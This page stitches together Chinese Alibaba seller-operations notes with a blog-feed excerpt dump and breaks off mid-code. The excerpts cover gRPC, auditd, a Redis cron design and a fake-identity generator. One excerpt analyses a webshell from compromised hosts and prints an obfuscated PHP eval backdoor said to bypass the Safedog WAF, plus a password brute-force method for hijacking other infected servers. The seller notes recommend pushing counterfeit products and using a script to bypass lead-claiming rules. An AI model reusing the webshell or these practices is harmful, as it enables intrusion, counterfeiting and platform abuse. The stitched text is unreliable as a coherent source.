- 运输方式：出口能力，包装，支付，物流地域说明
- 服务优势：售前、售后、常见问题、相关提醒
- 客户合影
- 合作客户
- FAQ
直接下单品（RTS）
- Ready To Ship：直接下单产品，承接现货需求，超 4 成客户不做定制
- 作用：快速累积店铺数据，提高店铺权重
- 主图：无 logo 和无水印
- 长宽高和毛重：太夸张是不会出现
Ready To Ship的标识- 按件卖：按单个产品的长宽高
- 按批卖：按一批的长宽高
- 交货期（15 天之内一定要发货）
运费模板
入口：交易管理 - 运费模板（平台上线 + 开通信保）
普通货物
- 不能选仓到门：全球化妆品专线
- 不能选仓到门：全球普货专线（仓库在上海）
- 不能选仓到门：全球电子烟专线
- 不能选自有物流：除非你对货代渠道非常熟悉
带电货物（无 MSDS）
- 勾选仓到门：
20 kg 以上全球重货专线（HK DHL）支持弱磁产品，例如蓝牙音箱和蓝牙耳机 - 勾选仓到门：
20 kg 以下全球 3C 专线（HK DHL）支持弱磁产品，例如蓝牙音箱和蓝牙耳机
带电货物（有 MSDS）
- 勾选仓到门：全球重货专线
- 勾选仓到门：全球 3C 专线
- 勾选仓到门：无忧专线（不接带磁）：只能去美国
- 勾选仓到门：Aramex
- 勾选仓到门：其它带
香港或HK字样的
其他设置
- 运费类型：阿里物流价
- 发货地邮编：不要写 518000，尽量具体
- 调价率：110 ~ 120
发货
- 发货时按照客户选择的快递承运商发货
- 超过 ￥5000 要报关
- 包裹丢失是按申报金额索赔的
- 快递承运商量体积，卖家付快递费，才会出货
知识产权
侵犯行为
- 标题
- 出现未授权的商标
- 被注册的技术名词：Bluetooth、EZ RJ45
- 图片
- 产品
- 整体上侵犯外观专利
- 出现未授权的卡通形象商标，例如 Rick and Morty
- 出现未授权的图案，例如 GUCCI 的 GG 重复图形
- 电子屏幕（UI）中出现未授权的图形商标
- 产品包装：出现未授权的商标
- 纸箱包装：出现未授权的商标
- 产品
- 详情页
- Model Number（型号）：出现商标
- 正文描述：出现商标
专利检索
- 中国专利：中国及多国专利审查信息查询系统
- 美国专利：美国专利商标主管机关
- 欧盟专利：
店铺运营
RFQ
- 前三条：客户单独收到邮件
- 后七条一次性打包给客户
- 主动搜索 RFQ
访客营销
- 推送一些未发布产品（例如仿牌产品）
- 查看营销管理，检查客户是否已读，查看旺旺是否在线
星级提升
- 询盘 24 小时内回复
- 旺旺 1 小时内回复（cn 除外）
- RFQ 报完
- P4P 操作
- 买家评价（差评无法删除）
侵权
- 产品管理 - 全文工具搜索：Apple
- 删干净：下架也会继续扣分，要删除，回收站也要删除
其他
- 看了产品详情页才算一个访客
- 下架零效果产品（90 天到 180 天），慢慢删除，慢慢替换
- 右上角的活动中心可能有优惠券
- 产品诊断优化，剔除重复铺货：图片相同、标题相同
免费营销
阿里卖家桌面客户端如何群发消息
- 加客户为好友并分组
- 选择接待中心（面板）的我的好友
- 按住键盘的
Ctrl，鼠标左键选择需要群发的好友后，右击选择给选定的用户发送即时消息即可批量发送消息
RFQ
核查 RFQ
- 假询盘：没有遵循英文的书写规范，例如没有在英文标点符号（
.、.、?）空一格，可能中国人发布的虚假询盘。 - 短标题：如果是非产品标题（潜在客户自己写的），是一个比较好的 RFQ。
- 长标题：如果是产品标题，把标题中前 50 个字符（字母 + 空格）放在 alibaba.com 搜索，就能找到该产品。
如何回复 RFQ
- 产品名称：工厂优势、出货快、价格
- 产品细节：生产力、认证、物流、支付
- 产品图片：清晰
- 价格详情：用标题搜索产品，对比同行，价格适中
- 报价补充信息：包含 2 ~ 3 个问题
- 物流方式
- 支付方式
- 下单时间
- 下单量
- 采购金额
- 是否在国际站采购过
- 名字 → LinkedIn
- 手机号码 → WhatsApp
- 电子邮箱 → Skype
- 名字是否符合所在国家的命名规则
- 企业诚信查询
- 可能是垃圾询盘的国家：中国，印度，尼日利亚，香港，美国
用邮件跟进 RFQ
Replied your buying lead posted in Alibaba and here write to check details with you.
Dear XXX, This is XXX from XXX, which specialized in 行业 for 多少年. So Glad to get your request on Alibaba About XXX (标题长的时候：复制客户重点关键词，标题不长的时候：粘贴客户发 RFQ 的标题)，We can do it!!! You have a good taste, This item is our hot selling by 2015 and will be trending product in 2016 also. Price is XXXusd (在后面列出这款产品与同行不一样的工艺、质量等，让客户知道为什么你报这个价格） Shipping to USA (国家）Door to Door service cost XXXusd. Do you need sample first?? Your reply will be much appreciate. Best Regards XXX访客营销
- 上班的第一件事
- 发信后，进入营销管理，添加为你的客户，持续跟进
- 已被抢的客户可通过 油猴脚本 解锁后强制营销
橱窗
橱窗只是一个排序加权的工具，我们需要去选择本来就有一定数据的产品，这类商品本来就具有一定流量，再结合橱窗推荐，才可以实现效果最大化。
- 设置主推产品为橱窗
- 如何查看其它店铺的橱窗产品：进入店铺主页 - Product - Top Picks
- 制作橱窗产品表格：
- 产品图片
- 产品标题
- 产品关键词
- 查：搜索指数有热度
- 查：排名查询工具
邮件营销
属于 EDM 邮件营销的一种。
每天（美国时间）每个账号可以对 20 个访客申请营销。每个访客供应商最多发送 3 封邮件，且两封邮件之间间隔不少于 30 天。
如果多个供应商对同一访客申请营销，优先发送历史营销效果好的供应商邮件，同等条件下，按时间先后顺序发送。
发起聊天
- 勾选
已营销访客 - 点击
营销内容，即可进入聊天窗口，查看客户信息 - 加为客户（防止被同事抢走）
付费推广
直通车
参考资料
排名原则
推广评分（⭐⭐⭐+） × 出价
0 星至 2 星的升星攻略
- 类目放正确
- 关键词相关产品
- 产品信息质量（100％）
- 是否有投诉或侵权
3 星至 4 星的升星攻略
- 核心：提升买家偏好度
- 关键词和标题、图片匹配度最佳
- 图片清晰，产品突出
- TM 在线，信保亮灯，及时回复率，MOQ & 价格优势，交易属性
- 产品要有好的排名位置，曝光
- 橱窗争取站内好的排名
- P4P 优先推广 3 星至 4 星的产品，来获得大量曝光（试推，先烧再省）
展示原则
alibaba.com（PC 端）
- 顶展
- P4P
- P4P
- P4P
- P4P
- P4P
- 橱窗（有限）或者自然排名（从第 7 到第 50）
m.alibaba.com（移动端）
- 顶展
- P4P
- P4P
- 自然
- P4P
- P4P
App
- 顶展
- P4P
- 自然
- 自然
- 自然
- P4P
- 来自 Google 的客户，此页全部都是 P4P 产品
扣费原则
- 扣费金额 =（后一名的出价 × 后一名的推广评分）/ 我的推广评分 + 0.1
- 扣费 ≤ 出价
- 总扣费 ≤ 预算
- 扣费只发生在有效点击的情况下（中国大陆和尼日利亚不扣费；恶意点击和重复点击不扣费）
推广策略
- 建议把自己最想推广的产品设置优先推广
- 不推广一星词和二星词
- 关键词按照热度分组：行业词（高热度）、核心词（中热度）、精准词（低热度）
出价技巧
- **量力而为：**在确保推广时长足够长的范围内出价
- **精准词争取前五：**例如 microfiberbeachtowel, 300 kg weighingscale, 12 V car charger……
- **泛词（行业大词）切勿为了抢前五而价格推太高：**例如 towel, flooring, led light, book……
出价时间
- **更新时间：**价格在北京时间下午 3:00（夏令时）或 4:00（冬令时）更新
- **价格趋势：**因此在时间更新后直通车关键词的价格就会开始飙高，而在早上上班的时候价格就会降下来。
- **调价时间：**刚上班、下班前（17:00 后，或者更晚）、睡觉前
分组策略
按照价格分组，提高调价效率
- 第一天：出 3 块
- 第二天：把有排名的词移入 3 元组
- 第三天：把有排名的词移入 4 元组
- 第四天：以此类推
后期按照效果分组：
词组 操作 反馈词 重点竞争前五，后期操作重点 高曝光低点击 词品匹配、优化主图、更换匹配产品 高点击低反馈（询盘少） 词品匹配、优化详情、更换匹配产品 0 星到 3 星词 暂停推广，发布新产品优化成 4 星或者 5 星（慎重优化老产品） 低曝光 提高曝光 行业大词 低价推广 顶级展位
- 视频
- **提前制作：**审核需要 1 个工作日左右
- **内容：**产品介绍或者公司介绍，或者两者结合，突出核心卖点
- **比例：**16:9（横屏）
- **画质：**≥ 480p
- **时长：**20 秒到 45 秒
- 封面：
- **内容：**突出核心卖点，吸引买家点击
- **像素：**600 px × 338 px
- 广告语：
- **内容：**体现公司或产品优势
- **字符：**36 个字符以内
产品操作记录查询工具
- 登录主账号
- 检查回收站
- 打开 产品操作记录查询工具
信保订单
样品单最高不能超过 500 USD。
支付方式：
- T/T 手续费：可能卖家承担，提醒客户支付，等款到了再发货（水单可能作假）
- T/T：1029 账号支付时，强烈建议使用美元支付并且指定收款币种为美元，避免汇款过程中产生汇损
- 卖家信用卡支付不能超过 12000 美金
买家邮箱：一旦填写无法修改
发货日期：填写发货日期时，请将周末和节假日时间加入，且填写确定的日期数，预付款到账前，供应商可直接修改；预付款到账后，供应商提交修改申请，买家确认。
出口方式：
- 出口方式一经选定，在付款前只可修改一次，付款后不能再修改
- 订单总金额 5000 美金以上，必须选择
通过一达通代理出口，且发货需关联一达通委托单 - 一达通：1.5% × 美金 = ¥，最低 200 ，最高 600，每次优惠 150，只能国内对公账户。不做退税，能不走，就不走。
**订单备注：**有国际标的，写国际标准，无国际标准的，可参考行业通用标准或合格率或。总之，越明确越好。
修改订单
- 买家信息：买家邮箱一旦下单就不可修改，买家姓名在支付前可修改，其它买家信息全流程可修改。
- 出口方式：出口方式在支付前可以修改一次（暂不支持多次修改），一旦支付则无法进行修改。
- 预付款：预付款收齐前可修改全款和预付款金额。预付款收齐后则无法修改预付款金额。金额改小时，不可低于已经实收的金额。
- 尾款：尾款未收齐前可以通过修改订单总价来调整尾款金额。尾款收齐后则无法修改订单金额。金额改小时，不可低于已经实收的金额。
- 验货服务和产品质量要求：预付款收齐前支持修改，一旦预付款收齐则无法进行修改。
- 其它内容：在订单完结前都支持修改。
信用卡支付失败怎么办？
买家账号由于风险控制原因，故不支持使用信用卡支付，建议您让买家尝试更换其它支付方式操作：
- 美国买家：T/T 或 eChecking
- 法国和德国买家：T/T 或 SEPA
- 巴西买家：3000 USD 以下可推荐使用 Boleto
- 其他买家：仅推荐 T/T 交易方式
关联阅读：
出口方式
开通入口：
交易管理>交易服务准入便捷发货
自主选择出口方式，订单金额要求小于 5000 美金。
自营出口
- 企业自身抬头报关出口
- 一般纳税人满 2 年以上
- 近一年有自营出口退免税经验。若无退税经验，您可通过购买阿里财税服务准入自营出口
一达通代理出口服务
收取基础服务费 200 RMB 至 600 RMB
一达通抬头报关出口
- 境内发货人：一达通
- 生产销售单位：企业
开通条件
营业执照
进出口权（对外贸易经营者备案登记表）
出口退（免）税备案表（办理流程）：盖公章并手写一句话：以上信息与税局备案信息一致
2 + N
适用于贸易型、生产型，不用验厂验税务
流程：下单 - 通关 - 外汇 - 代理出口货物证明 - 申报退免税 - 结算
自行退税，开具代理证给企业，企业财务去办理退税
3 + N
工贸一体，需验厂验税务
代理退税，一达通融资垫税，您开票给一达通，由一达通代理您申报退税
结汇
香港花旗、新加坡花旗、香港中行、香港星展、香港摩根、新加坡摩根是可以入这
9大币种的 SGD/JPY/EUR/GBP/CNY/CAD/AUD/HKD/USD提现
信用保障订单在买家款项挂账后在信用保障额度充足的情况下即可操作提现，无需等到买家确认收货。
一些吐槽
阿里巴巴（1688.com）：不登录不给看产品 / 搜产品 / 卖家店铺首页。
阿里巴巴国际站（alibaba.com）
- （大概）每隔 1 个钟就要重新登录（包括阿里邮箱），提示
Your session has timed out. Click OK to login again. (您的登录已经超时，请点击确定重新登录。) - 已读的 RFQ 的显示未读。
- （大概）每隔 1 个钟就要重新登录（包括阿里邮箱），提示
- 博客 Jiajun的编程随想 2019-09-04 08:00:00《提取kindle笔记》首先在Kindle上通过邮件把笔记分享到自己的邮箱，然后把html下载到本地，执行下面的脚本：```python...
- 博客 Jiajun的编程随想 2019-09-02 08:00:00《一个Golang gRPC握手错误的坑》在 [这个issue](https://github.com/grpc/grpc-go/issues/2406) 里所提到的feature实现之前，Go的gRPC实现里，客户端和服务端握手过程中，客户端并不会等待HTTP/2协议握手完成之后才开始交互，因此Go的gRPC v1.18之后开始改变这种行为，实现前面所说的这个feature。然而，这就引入了一个不兼容问题，也引入了一大堆bug。很不幸，我就...
- 博客 Jiajun的编程随想 2019-08-31 08:00:00《Golang(Go语言)爬虫框架colly简明教程及源码阅读与分析》使用了一下colly这个爬虫框架，发现非常的好用，它的设计还是值得学习一下的，API设计的非常简洁。不过首先我们要看看这玩意儿咋用...
- 博客 Jiajun的编程随想 2019-08-30 08:00:00《选择合适的技术栈》刚毕业的新人特别喜欢使用新的技术，从业多年的老人往往偏于保守。```...
- 博客 Holmesian Blog 2019-08-28 13:32:00最近在整理 NAS 的时候发现很多以前的电影是 RMVB 格式的，强迫症发作想把这些 RMVB 视频统统用 H264 转成 mp4 视频。这时想起来树莓派 FFmpeg 支持硬解码，所以打起来让...
- 博客 Jiajun的编程随想 2019-08-23 08:00:00《Golang的template(模板引擎)简明教程》模板语言，在前后端分离的时代，大概可以归类到上古时代的技术了。不过前后端分离并不是银弹(而且也只是把模板从后端移到前端而已)，它也有很多问题...
- 博客 Jiajun的编程随想 2019-08-21 08:00:00《毕业三年，一路走来》正是开学季，对我来说，是比开学更有纪念意义的日子。三年，一千多个日夜。回头看来，感慨良多，我从一个月薪三千的实习生，一路打怪升级，遇到过好的mentor和领导，也遇到过差劲的；挖过坑，填过坑；删过数据库，也抢救过他人删除的数据库；有信心爆棚的时候，也有迷茫的时候...
- 博客 Vulkey_Chen's Blog 2019-08-21 00:00:00
对我⽅已拿下的攻击方⾁鸡进⾏⽇志、⽂件等分析，发现⼤部分肉鸡的网站根目录都存在 images.php，提取该文件的内容并分析：
提出较为重要的那一段base64decode后的PHP代码进行分析：
@session_start();//开启session if(isset($_POST['code']))substr(sha1(md5($_POST['a'])),36)=='222f'&&$_SESSION['theCode']=$_POST['code'];if(isset($_SESSION['theCode']))@eval(base64_decode($_SESSION['theCode']));代码逻辑：判断POST请求参数code是否有值，当满足条件时则执行
substr(sha1(md5($_POST['a'])),36)=='222f'&&$_SESSION['theCode']=$_POST['code']，这段代码的意思为将POST请求参数a的值进行md5加密再进行sha1加密，最后从加密后的字符串的第36位开始取值（sha1加密后的值为40位，这里也就是取后4位），当后四位等于222f的时候条件为真则执行$_SESSION['theCode']=$_POST['code']（Why？&&是逻辑与操作，如果&&的前面为false了，后面的就不会执行了，所以在这里也就间接的形成了一种判断从而必须满足后四位等于222f的条件），最后进入该代码执行：if(isset($_SESSION['theCode']))@eval(base64_decode($_SESSION['theCode']));，代码如此简单就不再重复描述～为了满足条件（
substr(sha1(md5($_POST['a'])),36)=='222f'），我们可以采用钓鱼的方式等攻击方人员主动上钩（修改images.php即可）：
当攻击方人员主动连接该Webshell时会将POST请求参数a的值写入到
pass.txt中。但此方法较为被动，我们还可以在本地搭建一个环境搭配Burp去爆破获取后四位为
222f的明文：
获得了：
abc123000、lipeng520、160376这三个密码，可利用密码对其他的肉鸡再次进行反打。代码样本：（测试可过安全狗）
<?php $CF='c'.'r'.'e'.'a'.'t'.'e'.'_'.'f'.'u'.'n'.'c'.'t'.'i'.'o'.'n'; $EB=@$CF('$x','e'.'v'.'a'.'l'.'(b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e($x));'); $EB('QHNlc3Npb25fc3RhcnQoKTtpZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpc3Vic3RyKHNoYTEobWQ1KCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicmJiRfU0VTU0lPTlsndGhlQ29kZSddPSRfUE9TVFsnY29kZSddO2lmKGlzc2V0KCRfU0VTU0lPTlsndGhlQ29kZSddKSlAZXZhbChiYXNlNjRfZGVjb2RlKCRfU0VTU0lPTlsndGhlQ29kZSddKSk7'); ?> - 博客 Vulkey_Chen's Blog 2019-08-20 00:00:00
背景
难题：/home/chen/test/目录下的index.html为首页文件，一直被入侵者恶意篡改
需求：想要定位攻击方式以及篡改方式
命令：
auditctl（安装：sudo apt install auditd）参数：
-w 监控文件路径 -p 监控文件筛选 r(读) w(写) x(执行) a(属性改变) -k 关键词（用于查询监控日志）运行：
sudo auditctl -w /home/chen/test/index.html -p w -k index，等待二次篡改过程
发现被篡改执行：
sudo ausearch -i -k index查看日志type=SYSCALL msg=audit(08/20/2019 02:22:10.905:509) : arch=x86_64 syscall=rename success=yes exit=0 a0=0x7f5c94011370 a1=0x7f5c94005d90 a2=0x0 a3=0x20 items=5 ppid=1966 pid=17243 auid=chen uid=chen gid=chen euid=chen suid=chen fsuid=chen egid=chen sgid=chen fsgid=chen tty=(none) ses=3 comm=pool exe=/usr/bin/gedit key=index了解该日志的格式：
syscall : 相关的系统调用 auid : 审计用户ID uid 和 gid : 访问文件的用户ID和用户组ID comm : 用户访问文件的命令 exe : 上面命令的可执行文件路径这里的
syscall可以理解为是执行的动作，那么这段日志就非常容易理解了：用户chen使用gedit rename了该文件（重命名）那么
syscall是什么代表着编辑文件内容呢？（篡改）测试
gedit打开文件、编辑文件内容、保存文件，有三条日志：type=SYSCALL msg=audit(08/20/2019 02:22:10.897:506) : arch=x86_64 syscall=openat success=no exit=EEXIST(File exists) a0=0xffffff9c a1=0x7f5ca0009800 a2=O_WRONLY|O_CREAT|O_EXCL a3=0x1b6 items=2 ppid=1966 pid=17243 auid=chen uid=chen gid=chen euid=chen suid=chen fsuid=chen egid=chen sgid=chen fsgid=chen tty=(none) ses=3 comm=pool exe=/usr/bin/gedit key=index type=SYSCALL msg=audit(08/20/2019 02:22:10.897:507) : arch=x86_64 syscall=openat success=yes exit=17 a0=0xffffff9c a1=0x7f5ca0009800 a2=O_WRONLY|O_CREAT|O_NOFOLLOW a3=0x1b6 items=2 ppid=1966 pid=17243 auid=chen uid=chen gid=chen euid=chen suid=chen fsuid=chen egid=chen sgid=chen fsgid=chen tty=(none) ses=3 comm=pool exe=/usr/bin/gedit key=index type=SYSCALL msg=audit(08/20/2019 02:22:10.905:509) : arch=x86_64 syscall=rename success=yes exit=0 a0=0x7f5c94011370 a1=0x7f5c94005d90 a2=0x0 a3=0x20 items=5 ppid=1966 pid=17243 auid=chen uid=chen gid=chen euid=chen suid=chen fsuid=chen egid=chen sgid=chen fsgid=chen tty=(none) ses=3 comm=pool exe=/usr/bin/gedit key=indexsyscall分别为：
openat、openat、rename，但注意到第一个openat的日志中的success等于no也就是说我们可以理解日志中出现
syscall=openat即有人在修改文件，那么查看日志的命令就可以变成：sudo ausearch -i -k index | grep 'syscall=openat'END：定位到了用户、进程就可以继续跟踪了。
- 博客 王子亭的博客 2019-08-19 01:00:00
这篇文章会带领大家实现一个基于 Redis 的分布式高可用定时任务系统，其中的 worker 以 Node.js 为例，但其实可以使用任何语言来实现。这篇文章不会给出完整的代码，更侧重于探索的过程。
高可用设计
首先我们希望让 worker 是无状态的，这样会大幅减少对于 worker 的高可用需求，也不涉及到 worker 之间的数据同步或者选举。我们将所有的状态集中到 Redis 上，Redis 可以用 Master-Slave + Sentinel 的方式达到一个相对较高的可用性。
为什么不使用选举 Master 的方式？
有一种很常见的做法是在单个实例上完成所有的工作，这样甚至连 Redis 都不需要了。但为了保证高可用，往往会同时启动多个实例，然后引入一个「选举」的过程来决定谁是那个完成所有工作的人（称为 master），在 master 失效后，则需要重新进行选举，选出另外一个 master。
简单来说我觉得这种做法不够「分布式」，只有一个 master 在工作，其他实例只是热备而已，同时选举和对 master 失效的监测也是一个非常麻烦的事情。而在我们的方案中所有的 worker 都是平等的，都在执行任务，可以在任意时候创建或移除 worker。
核心循环
对于一个定时任务系统来说，核心的工作是给定时任务们按时间排序，然后找到并等待下一个需要触发的任务。Redis 刚好为我们提供了 ZSET 这种支持排序的集合类型，ZSET 中存储着若干个互不相同的 member（字符串或二进制数据），每个 member 有一个相关联的 score（数字），整个 ZSET 会按照 score 排序，基于这样的数据结构提供了若干操作。
我们将定时任务的 ID 作为 member 放在一个叫
cronjobs的 ZSET 里，使用下次触发时间作为 score 来排序，这样便得到了一个以下次触发时间排序的列表。我们可以这样向系统中添加任务：
redisClient.zadd('cronjobs', nextTriggerAt(cronjobId), cronjobId)用
ZRANGE cronjobs 0 -1 WITHSCORES可以看到已添加的任务：127.0.0.1:6379> ZRANGE cronjobs 0 -1 WITHSCORES1) "2"2) "1565453967832"3) "1"4) "1565453998742"然后我们可以在 worker 中写一个无限循环，不断地检查这个 ZSET 中 score 最小（触发时间最早）的任务是否已经超过了当前时间，如果是的话就执行这个任务，并修改 ZSET 中的 score 为下次触发时间，Node.js 的代码如下：
while (true) { const [cronjobId, triggerAt] = await redisClient.zrange('cronjobs', 0, 0, 'WITHSCORES') if (parseInt(triggerAt) < Date.now()) { // ZADD CH 会返回被修改 member 数量，只有当成功修改了 score 我们才会继续执行，否则说明这个任务已经被其他的 worker 执行了 if (await redisClient.zadd('cronjobs', 'CH', nextTriggerAt(cronjobId), cronjobId)) { // 异步地运行任务，避免「阻塞」核心循环 runJob(cronjobId) } } else { // 等待下一个任务触发，如果距离下一个任务的触发少于 10 秒，则等待下一个任务执行，否则等待 10 秒后重试。 await bluebird.delay(triggerAt ? Math.min(parseInt(triggerAt) - Date.now(), 10000) : 10000) }}上面的循环构成了这个定时任务系统最核心的部分，后面我们会逐渐地完善他。
为什么不用 Keyspace Notifications?
在社区中有很多文章推荐简单地使用 Keyspace Notifications 来实现「定时」，即为一个 key 设置一个过期时间，然后订阅这个 key 过期的事件。但这种方式主要的问题是 Redis 的 Pub/Sub 并不保证送达，如果刚好在这个 key 过期时 worker 不在线，那么这一次触发就不会生效；如果刚好有多个 worker 在线，那么这一次触发的任务也可能被执行多次。
而我们选择的基于 ZSET 的方式，需要 worker 主动修改 ZSET 中的下次触发时间，即使 worker 暂时不可用，在恢复时也会继续执行之前剩余的任务。
这样 Redis 就变成了系统的单点？
是这样的，这个系统中几乎全部的状态都存储于 Redis 上，可以说是系统中的单点。但相比于 worker，Redis（或其他的数据库）是一个更稳定、更标准化的组件。你可以用官方的 Master-Slave + Sentinel 方案来达到一个相对较高的可用性，你也可以使用由云服务厂商提供的托管 Redis 产品，避免自己来维护它。
继续完善
CRON 表达式
前面的代码中我们并没有实现 nextTriggerAt，你可以用 cron-parser 这样的库去解析 CRON 表达式，计算下次触发时间：
const cronParser = require('cron-parser')async function nextTriggerAt(cronjobId) { // 从 Redis 或其他数据库中根据 cronjobId 拉取定时任务的详情 const cronjobInfo = await getCronjobInfo(cronjobId) return cronParser.parseExpression(cronjobInfo.cron).next().getTime()}中断任务处理
如果一个 Worker 意外退出，那么当时正在被它处理的所有任务都会永久性地丢失。为了避免这种情况，我们将正在执行的任务也存储到 Redis 中（一个叫
running的 ZSET）：if (await redisClient.zadd('cronjobs', 'CH', nextTriggerAt(cronjobId), cronjobId)) { // 为每个任务生成一个随机的 uuid 以便能单独地追踪每个任务，例如打印到日志中 await redisClient.zadd('running', Date.now() + 60000, `${cronjobId}:${uuid.v4()}`) runJob(cronjobId).finally( () => { // 在一个任务被完成时，我们还需要将它从 running 集合中取出 redisClient.zrem('running', uniqueId) }) }如果你有一些为多实例应用编写代码的经验，那么可能会注意到这里存在一个竞态条件：对 cronjobs 和 running 的操作并不是原子的，可能会出现对 cronjobs 的操作成功了，随即 worker 意外退出，没有来得及写入 running 的情况。
因为这里我们需要对 ZADD 的返回值做判断，所以不能简单地使用 Redis 的 Pipeline 功能，而是要用到 Lua Script：
redisClient.defineCommand('startJob', { lua: ` local cronjobId = ARGV[1] local jobName = ARGV[2] local nextTriggerAt = tonumber(ARGV[3]) local timeoutAt = tonumber(ARGV[4]) local changed = redis.call('ZADD', 'cronjobs', 'CH', nextTriggerAt, cronjobId) if changed ~= 0 then redis.call('ZADD', 'running', timeoutAt, jobName) end return changed `})经过修改后的核心循环：
const jobName = `${cronjobId}:${uuid.v4()}`if (await redisClient.startJob(cronjobId, jobName, nextTriggerAt(cronjobId), Date.now() + 60000)) { runJob(cronjobId).finally( () => { redisClient.zrem('running', uniqueId) })}然后我们便可以添加另外一个循环，从 running 中拉取已经超时的任务进行重试或其他处理，这里不再给出具体的代码。
Lua Script
Lua Script 是 Redis 提供的一种类似事务能力，Redis 保证每个 Lua Script 都是串行执行的，中途不会有其他指令被执行，这提供了一种非常强的一致性保证。在实际的开发中，我们可以将需要一致性保证的逻辑写成 Lua Script。
平滑关闭
我们不可避免地会对 worker 进程进行新版本的部署或其他维护，因此我们需要一种平滑的方式来关闭 worker 进程，让它继续执行已经收到的任务，但不去接受新的任务，在执行完当前的任务之后，主动退出。
在 Unix 中最正统的方式是实现自定义的 SIGINT 处理器来实现这个功能，即由终端模拟器、进程管理器或容器平台向程序发送 SIGINT 信号，程序即开始进行退出前的清理工作，然后待清理工作结束后，程序主动退出。当然进程管理器也有可能等不及，再发送一个强制结束的 SIGKILL。
所以我们需要将所有正在执行的任务注册到一个全局的 Promise 数组中，然后在受到 SIGINT 时停止接受新任务，并等待所有正在执行的任务完成后主动退出：
let runningJobs = []let shuttingDown = falseprocess.on('SIGTERM', () => { shuttingDown = true // 等待 runningJobs 中所有的任务完成，无论成功还是失败 Promise.all(runningJobs.map( p => p.catch(() => {}) )).then( () => { process.exit(0) })})修改核心循环，在开始任务时将 runJob 返回的 Promise 存入 runningJobs，然后在任务执行完时取出：
while (true) { if (shuttingDown) { break } // ... if (await redisClient.zadd('cronjobs', 'CH', nextTriggerAt(cronjobId), cronjobId)) { // 异步地运行任务，避免「阻塞」核心循环 const jobPromise = runJob(cronjobId) jobPromise.finally( () => { _.pull(runningJobs, jobPromise) )) runningJobs.push(jobPromise) } // ...}容量的横向拓展
目前这个定时任务系统中的 worker 是可以无限拓展的，但 Redis 却是整个系统中的瓶颈，每个 worker 都需要从 Redis 获取任务来执行。按照我们对于 Redis 通常 70k QPS 的估计，按每个任务需要执行 5 个命令计算，整个系统可以支持每秒 14k 次任务触发，对于绝大部分的场景其实完全够用了。
如果要继续拓展的话，我的建议是根据业务上的一些区分（例如用户、任务类型）将队列分散到不同的 Key 上面（例如
userA:cronjobs和userB:cornjobs），这样便可以利用 Redis Cluster 的分片功能来进行扩展了。小结
我们用 ZSET 将定时任务按照触发时间排序，然后使用一个无限循环来拉取需要触发的任务，实现了一个分布式定时任务系统的核心部分，读者可以在此基础上根据自己的需要做进一步扩展。
本文甚至没有给出完整的代码，因此并不能直接地复制到你的项目中使用，更多地在于提出和讨论一种解决方案。社区中也有一些类似的开源组件可供选用，例如 Bull 是一个功能完整的任务队列，其中包括了定时任务功能，Bull 使用了和本文类似的 ZSET + Scripting 技术，使用 Redis 作为后端。
- 博客 Jiajun的编程随想 2019-08-18 08:00:00《代码的坏味道》这坨代码真烂！这真是一座屎山！能写出这样的代码也真是绝了！...
- 博客 Vulkey_Chen's Blog 2019-08-16 00:00:00
RGPerson
项目地址：https://github.com/gh0stkey/RGPerson
RGPerson - 随机身份生成
环境：python3
使用方法：python3 RGPerson.py
为什么需要Ta
相信很多师傅们在做测试的时候经常遇到一些注册的业务功能，要填写的东西很多，我一般都是临时去百度用的信息，这样很繁琐所以决定造轮子撸了个随机身份生成的。
介绍
该脚本生成信息：姓名\年龄\性别\身份证\手机号\组织机构代码\统一社会信用代码
脚本编写原理
脚本的函数： genMobile()、genIdCard()、genName()、genOrgCode()、genCreditCode()
genMobile() 为随机生成手机号的函数
genName() 为随机生成姓名的函数
genIdCard() 为随机生成身份证的函数
genOrgCode() 为随机生成组织机构代码的函数
genCreditCode() 为随机生成统一社会信用代码的函数
genMobile()
随机生成手机号：需要知道国内手机号的构成
1.长度为十一位
2.前三位表示运营商
现在我们只需要做到收集手机号号段的前三位以及对应的运营商：
prelist = {"133":"电信","149":"电信","153":"电信","173":"电信","177":"电信","180":"电信","181":"电信","189":"电信","199":"电信","130":"联通","131":"联通","132":"联通","145":"联通","155":"联通","156":"联通","166":"联通","171":"联通","175":"联通","176":"联通","185":"联通","186":"联通","166":"联通","134":"移动","135":"移动","136":"移动","137":"移动","138":"移动","139":"移动","147":"移动","150":"移动","151":"移动","152":"移动","157":"移动","158":"移动","159":"移动","172":"移动","178":"移动","182":"移动","183":"移动","184":"移动","187":"移动","188":"移动","198":"移动"}获取该数组的长度：len(prelist) -> 42
随机生成下标获取三位数：
prelist.keys()[random.randint(0,41)]然后再随机填补后8位即可：
def genMobile(): prelist = {"133":"电信","149":"电信","153":"电信","173":"电信","177":"电信","180":"电信","181":"电信","189":"电信","199":"电信","130":"联通","131":"联通","132":"联通","145":"联通","155":"联通","156":"联通","166":"联通","171":"联通","175":"联通","176":"联通","185":"联通","186":"联通","166":"联通","134":"移动","135":"移动","136":"移动","137":"移动","138":"移动","139":"移动","147":"移动","150":"移动","151":"移动","152":"移动","157":"移动","158":"移动","159":"移动","172":"移动","178":"移动","182":"移动","183":"移动","184":"移动","187":"移动","188":"移动","198":"移动"} three = list(prelist.keys())[random.randint(0,len(prelist)-1)] mobile = three + "".join(random.choice("0123456789") for i in range(8)) op = prelist[three] return {mobile:op}genName()
随机生成姓名：中文名字通常为2、3位汉字组成
1.收集常用的姓氏随机取其一个：
def first_name(): first_name_list = ['赵', '钱', '孙', '李', '周', '吴', '郑', '王', '冯', '陈', '褚', '卫', '蒋', '沈', '韩', '杨', '朱', '秦', '尤', '许', '何', '吕', '施', '张', '孔', '曹', '严', '华', '金', '魏', '陶', '姜', '戚', '谢', '邹', '喻', '柏', '水', '窦', '章', '云', '苏', '潘', '葛', '奚', '范', '彭', '郎', '鲁', '韦', '昌', '马', '苗', '凤', '花', '方', '俞', '任', '袁', '柳', '酆', '鲍', '史', '唐', '费', '廉', '岑', '薛', '雷', '贺', '倪', '汤', '滕', '殷', '罗', '毕', '郝', '邬', '安', '常', '乐', '于', '时', '傅', '皮', '卞', '齐', '康', '伍', '余', '元', '卜', '顾', '孟', '平', '黄', '和', '穆', '萧', '尹', '姚', '邵', '堪', '汪', '祁', '毛', '禹', '狄', '米', '贝', '明', '臧', '计', '伏', '成', '戴', '谈', '宋', '茅', '庞', '熊', '纪', '舒', '屈', '项', '祝', '董', '梁'] n = random.randint(0, 